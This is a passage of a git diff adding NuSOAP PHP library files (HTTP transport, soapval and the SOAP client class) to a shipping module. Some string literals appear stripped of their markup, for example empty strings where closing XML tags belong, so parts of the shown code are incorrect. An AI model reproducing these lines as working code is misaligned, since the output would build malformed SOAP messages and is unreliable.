$http_status <= 505) + ) { + $this->setError("Unsupported HTTP response status $http_status $http_reason (soapclient->response has contents of the response)"); + return false; + } + + // decode content-encoding + if(isset($this->incoming_headers['content-encoding']) && $this->incoming_headers['content-encoding'] != ''){ + if(strtolower($this->incoming_headers['content-encoding']) == 'deflate' || strtolower($this->incoming_headers['content-encoding']) == 'gzip'){ + // if decoding works, use it. else assume data wasn't gzencoded + if(function_exists('gzinflate')){ + //$timer->setMarker('starting decoding of gzip/deflated content'); + // IIS 5 requires gzinflate instead of gzuncompress (similar to IE 5 and gzdeflate v. gzcompress) + // this means there are no Zlib headers, although there should be + $this->debug('The gzinflate function exists'); + $datalen = strlen($data); + if ($this->incoming_headers['content-encoding'] == 'deflate') { + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The inflated payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to inflate the payload'); + $this->setError('Error using gzinflate to inflate the payload'); + } + } elseif ($this->incoming_headers['content-encoding'] == 'gzip') { + if ($degzdata = @gzinflate(substr($data, 10))) { // do our best + $data = $degzdata; + $this->debug('The payload has been un-gzipped to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The un-gzipped payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate(substr($data, 10))) { + $data = $degzdata; + $this->debug('The payload has been un-gzipped again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to un-gzip the payload'); + $this->setError('Error using gzinflate to un-gzip the payload'); + } + } + //$timer->setMarker('finished decoding of gzip/deflated content'); + //print "\nde-inflated:\n---------------\n$data\n-------------\n"; + // set decoded payload + $this->incoming_payload = $header_data.$lb.$lb.$data; + } else { + $this->debug('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + $this->setError('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + } + } else { + $this->debug('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + $this->setError('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + } + } else { + $this->debug('No Content-Encoding header'); + } + + if(strlen($data) == 0){ + $this->debug('no data after headers!'); + $this->setError('no data present after HTTP headers'); + return false; + } + + return $data; + } + + /** + * sets the content-type for the SOAP message to be sent + * + * @param string $type the content type, MIME style + * @param mixed $charset character set used for encoding (or false) + * @access public + */ + function setContentType($type, $charset = false) { + $this->setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : '')); + } + + /** + * specifies that an HTTP persistent connection should be used + * + * @return boolean whether the request was honored by this method. + * @access public + */ + function usePersistentConnection(){ + if (isset($this->outgoing_headers['Accept-Encoding'])) { + return false; + } + $this->protocol_version = '1.1'; + $this->persistentConnection = true; + $this->setHeader('Connection', 'Keep-Alive'); + return true; + } + + /** + * parse an incoming Cookie into it's parts + * + * @param string $cookie_str content of cookie + * @return array with data of that cookie + * @access private + */ + /* + * TODO: allow a Set-Cookie string to be parsed into multiple cookies + */ + function parseCookie($cookie_str) { + $cookie_str = str_replace('; ', ';', $cookie_str) . ';'; + $data = preg_split('/;/', $cookie_str); + $value_str = $data[0]; + + $cookie_param = 'domain='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $domain = substr($cookie_str, $start + strlen($cookie_param)); + $domain = substr($domain, 0, strpos($domain, ';')); + } else { + $domain = ''; + } + + $cookie_param = 'expires='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $expires = substr($cookie_str, $start + strlen($cookie_param)); + $expires = substr($expires, 0, strpos($expires, ';')); + } else { + $expires = ''; + } + + $cookie_param = 'path='; + $start = strpos($cookie_str, $cookie_param); + if ( $start > 0 ) { + $path = substr($cookie_str, $start + strlen($cookie_param)); + $path = substr($path, 0, strpos($path, ';')); + } else { + $path = '/'; + } + + $cookie_param = ';secure;'; + if (strpos($cookie_str, $cookie_param) !== FALSE) { + $secure = true; + } else { + $secure = false; + } + + $sep_pos = strpos($value_str, '='); + + if ($sep_pos) { + $name = substr($value_str, 0, $sep_pos); + $value = substr($value_str, $sep_pos + 1); + $cookie= array( 'name' => $name, + 'value' => $value, + 'domain' => $domain, + 'path' => $path, + 'expires' => $expires, + 'secure' => $secure + ); + return $cookie; + } + return false; + } + + /** + * sort out cookies for the current request + * + * @param array $cookies array with all cookies + * @param boolean $secure is the send-content secure or not? + * @return string for Cookie-HTTP-Header + * @access private + */ + function getCookiesForRequest($cookies, $secure=false) { + $cookie_str = ''; + if ((! is_null($cookies)) && (is_array($cookies))) { + foreach ($cookies as $cookie) { + if (! is_array($cookie)) { + continue; + } + $this->debug("check cookie for validity: ".$cookie['name'].'='.$cookie['value']); + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) <= time()) { + $this->debug('cookie has expired'); + continue; + } + } + if ((isset($cookie['domain'])) && (! empty($cookie['domain']))) { + $domain = preg_quote($cookie['domain']); + if (! preg_match("'.*$domain$'i", $this->host)) { + $this->debug('cookie has different domain'); + continue; + } + } + if ((isset($cookie['path'])) && (! empty($cookie['path']))) { + $path = preg_quote($cookie['path']); + if (! preg_match("'^$path.*'i", $this->path)) { + $this->debug('cookie is for a different path'); + continue; + } + } + if ((! $secure) && (isset($cookie['secure'])) && ($cookie['secure'])) { + $this->debug('cookie is secure, transport is not'); + continue; + } + $cookie_str .= $cookie['name'] . '=' . $cookie['value'] . '; '; + $this->debug('add cookie to Cookie-String: ' . $cookie['name'] . '=' . $cookie['value']); + } + } + return $cookie_str; + } +} + + diff --git a/modules/mondialrelay2/lib/nusoap/class.soap_val.php b/modules/mondialrelay2/lib/nusoap/class.soap_val.php new file mode 100755 index 0000000..545944e --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.soap_val.php @@ -0,0 +1,106 @@ + +* @version $Id$ +* @access public +*/ +class soapval extends nusoap_base { + /** + * The XML element name + * + * @var string + * @access private + */ + var $name; + /** + * The XML type name (string or false) + * + * @var mixed + * @access private + */ + var $type; + /** + * The PHP value + * + * @var mixed + * @access private + */ + var $value; + /** + * The XML element namespace (string or false) + * + * @var mixed + * @access private + */ + var $element_ns; + /** + * The XML type namespace (string or false) + * + * @var mixed + * @access private + */ + var $type_ns; + /** + * The XML element attributes (array or false) + * + * @var mixed + * @access private + */ + var $attributes; + + /** + * constructor + * + * @param string $name optional name + * @param mixed $type optional type name + * @param mixed $value optional value + * @param mixed $element_ns optional namespace of value + * @param mixed $type_ns optional namespace of type + * @param mixed $attributes associative array of attributes to add to element serialization + * @access public + */ + function soapval($name='soapval',$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) { + parent::nusoap_base(); + $this->name = $name; + $this->type = $type; + $this->value = $value; + $this->element_ns = $element_ns; + $this->type_ns = $type_ns; + $this->attributes = $attributes; + } + + /** + * return serialized value + * + * @param string $use The WSDL use value (encoded|literal) + * @return string XML data + * @access public + */ + function serialize($use='encoded') { + return $this->serialize_val($this->value, $this->name, $this->type, $this->element_ns, $this->type_ns, $this->attributes, $use, true); + } + + /** + * decodes a soapval object into a PHP native type + * + * @return mixed + * @access public + */ + function decode(){ + return $this->value; + } +} + + + + diff --git a/modules/mondialrelay2/lib/nusoap/class.soapclient.php b/modules/mondialrelay2/lib/nusoap/class.soapclient.php new file mode 100755 index 0000000..b06878f --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.soapclient.php @@ -0,0 +1,991 @@ +call( string methodname [ ,array parameters] ); +* +* // bye bye client +* unset($soapclient); +* +* @author Dietrich Ayala +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_client extends nusoap_base { + + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + var $requestHeaders = false; // SOAP headers in request (text) + var $responseHeaders = ''; // SOAP headers from response (incomplete namespace resolution) (text) + var $responseHeader = NULL; // SOAP Header from response (parsed) + var $document = ''; // SOAP body response portion (incomplete namespace resolution) (text) + var $endpoint; + var $forceEndpoint = ''; // overrides WSDL endpoint + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $portName = ''; // port name to use in WSDL + var $xml_encoding = ''; // character set encoding of incoming (response) messages + var $http_encoding = false; + var $timeout = 0; // HTTP connection timeout + var $response_timeout = 30; // HTTP response timeout + var $endpointType = ''; // soap|wsdl, empty for WSDL initialization error + var $persistentConnection = false; + var $defaultRpcParams = false; // This is no longer used + var $request = ''; // HTTP request + var $response = ''; // HTTP response + var $responseData = ''; // SOAP payload of response + var $cookies = array(); // Cookies from response or for request + var $decode_utf8 = true; // toggles whether the parser decodes element content w/ utf8_decode() + var $operations = array(); // WSDL operations, empty for WSDL initialization error + var $curl_options = array(); // User-specified cURL options + var $bindingType = ''; // WSDL operation binding type + var $use_curl = false; // whether to always try to use cURL + + /* + * fault related variables + */ + /** + * @var fault + * @access public + */ + var $fault; + /** + * @var faultcode + * @access public + */ + var $faultcode; + /** + * @var faultstring + * @access public + */ + var $faultstring; + /** + * @var faultdetail + * @access public + */ + var $faultdetail; + + /** + * constructor + * + * @param mixed $endpoint SOAP server or WSDL URL (string), or wsdl instance (object) + * @param mixed $wsdl optional, set to 'wsdl' or true if using WSDL + * @param string $proxyhost optional + * @param string $proxyport optional + * @param string $proxyusername optional + * @param string $proxypassword optional + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param string $portName optional portName in WSDL document + * @access public + */ + function nusoap_client($endpoint,$wsdl = false,$proxyhost = false,$proxyport = false,$proxyusername = false, $proxypassword = false, $timeout = 0, $response_timeout = 30, $portName = ''){ + parent::nusoap_base(); + $this->endpoint = $endpoint; + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + $this->portName = $portName; + + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->appendDebug('endpoint=' . $this->varDump($endpoint)); + + // make values + if($wsdl){ + if (is_object($endpoint) && (get_class($endpoint) == 'wsdl')) { + $this->wsdl = $endpoint; + $this->endpoint = $this->wsdl->wsdl; + $this->wsdlFile = $this->endpoint; + $this->debug('existing wsdl instance created from ' . $this->endpoint); + $this->checkWSDL(); + } else { + $this->wsdlFile = $this->endpoint; + $this->wsdl = null; + $this->debug('will use lazy evaluation of wsdl from ' . $this->endpoint); + } + $this->endpointType = 'wsdl'; + } else { + $this->debug("instantiate SOAP with endpoint at $endpoint"); + $this->endpointType = 'soap'; + } + } + + /** + * calls method, returns PHP native type + * + * @param string $operation SOAP server URL or path + * @param mixed $params An array, associative or simple, of the parameters + * for the method call, or a string that is the XML + * for the call. For rpc style, this call will + * wrap the XML in a tag named after the method, as + * well as the SOAP Envelope and Body. For document + * style, this will only wrap with the Envelope and Body. + * IMPORTANT: when using an array with document style, + * in which case there + * is really one parameter, the root of the fragment + * used in the call, which encloses what programmers + * normally think of parameters. A parameter array + * *must* include the wrapper. + * @param string $namespace optional method namespace (WSDL can override) + * @param string $soapAction optional SOAPAction value (WSDL can override) + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param boolean $rpcParams optional (no longer used) + * @param string $style optional (rpc|document) the style to use when serializing parameters (WSDL can override) + * @param string $use optional (encoded|literal) the use when serializing parameters (WSDL can override) + * @return mixed response from SOAP call, normally an associative array mirroring the structure of the XML response, false for certain fatal errors + * @access public + */ + function call($operation,$params=array(),$namespace='http://tempuri.org',$soapAction='',$headers=false,$rpcParams=null,$style='rpc',$use='encoded'){ + $this->operation = $operation; + $this->fault = false; + $this->setError(''); + $this->request = ''; + $this->response = ''; + $this->responseData = ''; + $this->faultstring = ''; + $this->faultcode = ''; + $this->opData = array(); + + $this->debug("call: operation=$operation, namespace=$namespace, soapAction=$soapAction, rpcParams=$rpcParams, style=$style, use=$use, endpointType=$this->endpointType"); + $this->appendDebug('params=' . $this->varDump($params)); + $this->appendDebug('headers=' . $this->varDump($headers)); + if ($headers) { + $this->requestHeaders = $headers; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + // serialize parameters + if($this->endpointType == 'wsdl' && $opData = $this->getOperationData($operation)){ + // use WSDL for operation + $this->opData = $opData; + $this->debug("found operation"); + $this->appendDebug('opData=' . $this->varDump($opData)); + if (isset($opData['soapAction'])) { + $soapAction = $opData['soapAction']; + } + if (! $this->forceEndpoint) { + $this->endpoint = $opData['endpoint']; + } else { + $this->endpoint = $this->forceEndpoint; + } + $namespace = isset($opData['input']['namespace']) ? $opData['input']['namespace'] : $namespace; + $style = $opData['style']; + $use = $opData['input']['use']; + // add ns to ns array + if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){ + $nsPrefix = 'ns' . rand(1000, 9999); + $this->wsdl->namespaces[$nsPrefix] = $namespace; + } + $nsPrefix = $this->wsdl->getPrefixFromNamespace($namespace); + // serialize payload + if (is_string($params)) { + $this->debug("serializing param string for WSDL operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for WSDL operation $operation"); + $payload = $this->wsdl->serializeRPCParameters($operation,'input',$params,$this->bindingType); + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = $this->wsdl->usedNamespaces; + if (isset($opData['input']['encodingStyle'])) { + $encodingStyle = $opData['input']['encodingStyle']; + } else { + $encodingStyle = ''; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if ($errstr = $this->wsdl->getError()) { + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + return false; + } + } elseif($this->endpointType == 'wsdl') { + // operation not in WSDL + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->setError('operation '.$operation.' not present in WSDL.'); + $this->debug("operation '$operation' not present in WSDL."); + return false; + } else { + // no WSDL + //$this->namespaces['ns1'] = $namespace; + $nsPrefix = 'ns' . rand(1000, 9999); + // serialize + $payload = ''; + if (is_string($params)) { + $this->debug("serializing param string for operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for operation $operation"); + foreach($params as $k => $v){ + $payload .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = array(); + if ($use == 'encoded') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } else { + $encodingStyle = ''; + } + } + // wrap RPC calls with method element + if ($style == 'rpc') { + if ($use == 'literal') { + $this->debug("wrapping RPC request with literal method element"); + if ($namespace) { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . $payload . ""; + } + } else { + $this->debug("wrapping RPC request with encoded method element"); + if ($namespace) { + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . + $payload . + ""; + } + } + } + // serialize envelope + $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$usedNamespaces,$style,$use,$encodingStyle); + $this->debug("endpoint=$this->endpoint, soapAction=$soapAction, namespace=$namespace, style=$style, use=$use, encodingStyle=$encodingStyle"); + $this->debug('SOAP message length=' . strlen($soapmsg) . ' contents (max 1000 bytes)=' . substr($soapmsg, 0, 1000)); + // send + $return = $this->send($this->getHTTPBody($soapmsg),$soapAction,$this->timeout,$this->response_timeout); + if($errstr = $this->getError()){ + $this->debug('Error: '.$errstr); + return false; + } else { + $this->return = $return; + $this->debug('sent message successfully and got a(n) '.gettype($return)); + $this->appendDebug('return=' . $this->varDump($return)); + + // fault? + if(is_array($return) && isset($return['faultcode'])){ + $this->debug('got fault'); + $this->setError($return['faultcode'].': '.$return['faultstring']); + $this->fault = true; + foreach($return as $k => $v){ + $this->$k = $v; + $this->debug("$k = $v
        "); + } + return $return; + } elseif ($style == 'document') { + // NOTE: if the response is defined to have multiple parts (i.e. unwrapped), + // we are only going to return the first part here...sorry about that + return $return; + } else { + // array of return values + if(is_array($return)){ + // multiple 'out' parameters, which we return wrapped up + // in the array + if(sizeof($return) > 1){ + return $return; + } + // single 'out' parameter (normally the return value) + $return = array_shift($return); + $this->debug('return shifted value: '); + $this->appendDebug($this->varDump($return)); + return $return; + // nothing returned (ie, echoVoid) + } else { + return ""; + } + } + } + } + + /** + * check WSDL passed as an instance or pulled from an endpoint + * + * @access private + */ + function checkWSDL() { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('checkWSDL'); + // catch errors + if ($errstr = $this->wsdl->getError()) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap12')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap12'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + $this->debug('**************** WARNING: SOAP 1.2 BINDING *****************'); + } else { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('getOperations returned false'); + $this->setError('no operations defined in the WSDL document!'); + } + } + + /** + * instantiate wsdl object and parse wsdl file + * + * @access public + */ + function loadWSDL() { + $this->debug('instantiating wsdl class with doc: '.$this->wsdlFile); + $this->wsdl = new wsdl('',$this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword,$this->timeout,$this->response_timeout,$this->curl_options,$this->use_curl); + $this->wsdl->setCredentials($this->username, $this->password, $this->authtype, $this->certRequest); + $this->wsdl->fetchWSDL($this->wsdlFile); + $this->checkWSDL(); + } + + /** + * get available data pertaining to an operation + * + * @param string $operation operation name + * @return array array of data pertaining to the operation + * @access public + */ + function getOperationData($operation){ + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + if(isset($this->operations[$operation])){ + return $this->operations[$operation]; + } + $this->debug("No data for operation: $operation"); + } + + /** + * send the SOAP message + * + * Note: if the operation has multiple return values + * the return value of this method will be an array + * of those values. + * + * @param string $msg a SOAPx4 soapmsg object + * @param string $soapaction SOAPAction value + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return mixed native PHP types. + * @access private + */ + function send($msg, $soapaction = '', $timeout=0, $response_timeout=30) { + $this->checkCookies(); + // detect transport + switch(true){ + // http(s) + case preg_match('/^http/',$this->endpoint): + $this->debug('transporting via HTTP'); + if($this->persistentConnection == true && is_object($this->persistentConnection)){ + $http =& $this->persistentConnection; + } else { + $http = new soap_transport_http($this->endpoint, $this->curl_options, $this->use_curl); + if ($this->persistentConnection) { + $http->usePersistentConnection(); + } + } + $http->setContentType($this->getHTTPContentType(), $this->getHTTPContentTypeCharset()); + $http->setSOAPAction($soapaction); + if($this->proxyhost && $this->proxyport){ + $http->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if($this->authtype != '') { + $http->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + if($this->http_encoding != ''){ + $http->setEncoding($this->http_encoding); + } + $this->debug('sending message, length='.strlen($msg)); + if(preg_match('/^http:/',$this->endpoint)){ + //if(strpos($this->endpoint,'http:')){ + $this->responseData = $http->send($msg,$timeout,$response_timeout,$this->cookies); + } elseif(preg_match('/^https/',$this->endpoint)){ + //} elseif(strpos($this->endpoint,'https:')){ + //if(phpversion() == '4.3.0-dev'){ + //$response = $http->send($msg,$timeout,$response_timeout); + //$this->request = $http->outgoing_payload; + //$this->response = $http->incoming_payload; + //} else + $this->responseData = $http->sendHTTPS($msg,$timeout,$response_timeout,$this->cookies); + } else { + $this->setError('no http/s in endpoint url'); + } + $this->request = $http->outgoing_payload; + $this->response = $http->incoming_payload; + $this->appendDebug($http->getDebug()); + $this->UpdateCookies($http->incoming_cookies); + + // save transport object if using persistent connections + if ($this->persistentConnection) { + $http->clearDebug(); + if (!is_object($this->persistentConnection)) { + $this->persistentConnection = $http; + } + } + + if($err = $http->getError()){ + $this->setError('HTTP Error: '.$err); + return false; + } elseif($this->getError()){ + return false; + } else { + $this->debug('got response, length='. strlen($this->responseData).' type='.$http->incoming_headers['content-type']); + return $this->parseResponse($http->incoming_headers, $this->responseData); + } + break; + default: + $this->setError('no transport found, or selected transport is not yet supported!'); + return false; + break; + } + } + + /** + * processes SOAP message returned from server + * + * @param array $headers The HTTP headers + * @param string $data unprocessed response data from server + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseResponse($headers, $data) { + $this->debug('Entering parseResponse() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Response not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Response not of type text/xml: ' . $headers['content-type']); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + $parser = new nusoap_parser($data,$this->xml_encoding,$this->operation,$this->decode_utf8); + // add parser debug data to our debug + $this->appendDebug($parser->getDebug()); + // if parse errors + if($errstr = $parser->getError()){ + $this->setError( $errstr); + // destroy the parser object + unset($parser); + return false; + } else { + // get SOAP headers + $this->responseHeaders = $parser->getHeaders(); + // get SOAP headers + $this->responseHeader = $parser->get_soapheader(); + // get decoded message + $return = $parser->get_soapbody(); + // add document for doclit support + $this->document = $parser->document; + // destroy the parser object + unset($parser); + // return decode message + return $return; + } + } + + /** + * sets user-specified cURL options + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access public + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + $this->curl_options[$option] = $value; + } + + /** + * sets the SOAP endpoint, which can override WSDL + * + * @param string $endpoint The endpoint URL to use, or empty string or false to prevent override + * @access public + */ + function setEndpoint($endpoint) { + $this->debug("setEndpoint(\"$endpoint\")"); + $this->forceEndpoint = $endpoint; + } + + /** + * set the SOAP headers + * + * @param mixed $headers String of XML with SOAP header content, or array of soapval objects for SOAP headers + * @access public + */ + function setHeaders($headers){ + $this->debug("setHeaders headers="); + $this->appendDebug($this->varDump($headers)); + $this->requestHeaders = $headers; + } + + /** + * get the SOAP response headers (namespace resolution incomplete) + * + * @return string + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * get the SOAP response Header (parsed) + * + * @return mixed + * @access public + */ + function getHeader(){ + return $this->responseHeader; + } + + /** + * set proxy info here + * + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @access public + */ + function setHTTPProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '') { + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + /** + * use HTTP encoding + * + * @param string $enc HTTP encoding + * @access public + */ + function setHTTPEncoding($enc='gzip, deflate'){ + $this->debug("setHTTPEncoding(\"$enc\")"); + $this->http_encoding = $enc; + } + + /** + * Set whether to try to use cURL connections if possible + * + * @param boolean $use Whether to try to use cURL + * @access public + */ + function setUseCURL($use) { + $this->debug("setUseCURL($use)"); + $this->use_curl = $use; + } + + /** + * use HTTP persistent connections if possible + * + * @access public + */ + function useHTTPPersistentConnection(){ + $this->debug("useHTTPPersistentConnection"); + $this->persistentConnection = true; + } + + /** + * gets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style. + * Each call() can override this value. + * + * This is no longer used. + * + * @return boolean + * @access public + * @deprecated + */ + function getDefaultRpcParams() { + return $this->defaultRpcParams; + } + + /** + * sets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style + * Each call() can override this value. + * + * This is no longer used. + * + * @param boolean $rpcParams + * @access public + * @deprecated + */ + function setDefaultRpcParams($rpcParams) { + $this->defaultRpcParams = $rpcParams; + } + + /** + * dynamically creates an instance of a proxy class, + * allowing user to directly call methods from wsdl + * + * @return object soap_proxy object + * @access public + */ + function getProxy() { + $r = rand(); + $evalStr = $this->_getProxyClassCode($r); + //$this->debug("proxy class: $evalStr"); + if ($this->getError()) { + $this->debug("Error from _getProxyClassCode, so return NULL"); + return null; + } + // eval the class + eval($evalStr); + // instantiate proxy object + eval("\$proxy = new nusoap_proxy_$r('');"); + // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice + $proxy->endpointType = 'wsdl'; + $proxy->wsdlFile = $this->wsdlFile; + $proxy->wsdl = $this->wsdl; + $proxy->operations = $this->operations; + $proxy->defaultRpcParams = $this->defaultRpcParams; + // transfer other state + $proxy->soap_defencoding = $this->soap_defencoding; + $proxy->username = $this->username; + $proxy->password = $this->password; + $proxy->authtype = $this->authtype; + $proxy->certRequest = $this->certRequest; + $proxy->requestHeaders = $this->requestHeaders; + $proxy->endpoint = $this->endpoint; + $proxy->forceEndpoint = $this->forceEndpoint; + $proxy->proxyhost = $this->proxyhost; + $proxy->proxyport = $this->proxyport; + $proxy->proxyusername = $this->proxyusername; + $proxy->proxypassword = $this->proxypassword; + $proxy->http_encoding = $this->http_encoding; + $proxy->timeout = $this->timeout; + $proxy->response_timeout = $this->response_timeout; + $proxy->persistentConnection = &$this->persistentConnection; + $proxy->decode_utf8 = $this->decode_utf8; + $proxy->curl_options = $this->curl_options; + $proxy->bindingType = $this->bindingType; + $proxy->use_curl = $this->use_curl; + return $proxy; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access private + */ + function _getProxyClassCode($r) { + $this->debug("in getProxy endpointType=$this->endpointType"); + $this->appendDebug("wsdl=" . $this->varDump($this->wsdl)); + if ($this->endpointType != 'wsdl') { + $evalStr = 'A proxy can only be created for a WSDL client'; + $this->setError($evalStr); + $evalStr = "echo \"$evalStr\";"; + return $evalStr; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) { + return "echo \"" . $this->getError() . "\";"; + } + } + $evalStr = ''; + foreach ($this->operations as $operation => $opData) { + if ($operation != '') { + // create param string and param comment string + if (sizeof($opData['input']['parts']) > 0) { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = ''; + foreach ($opData['input']['parts'] as $name => $type) { + $paramStr .= "\$$name, "; + $paramArrayStr .= "'$name' => \$$name, "; + $paramCommentStr .= "$type \$$name, "; + } + $paramStr = substr($paramStr, 0, strlen($paramStr)-2); + $paramArrayStr = substr($paramArrayStr, 0, strlen($paramArrayStr)-2); + $paramCommentStr = substr($paramCommentStr, 0, strlen($paramCommentStr)-2); + } else { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = 'void'; + } + $opData['namespace'] = !isset($opData['namespace']) ? 'http://testuri.com' : $opData['namespace']; + $evalStr .= "// $paramCommentStr + function " . str_replace('.', '__', $operation) . "($paramStr) { + \$params = array($paramArrayStr); + return \$this->call('$operation', \$params, '".$opData['namespace']."', '".(isset($opData['soapAction']) ? $opData['soapAction'] : '')."'); + } + "; + unset($paramStr); + unset($paramCommentStr); + } + } + $evalStr = 'class nusoap_proxy_'.$r.' extends nusoap_client { + '.$evalStr.' +}'; + return $evalStr; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access public + */ + function getProxyClassCode() { + $r = rand(); + return $this->_getProxyClassCode($r); + } + + /** + * gets the HTTP body for the current request. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current request. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current request. + * @access private + */ + function 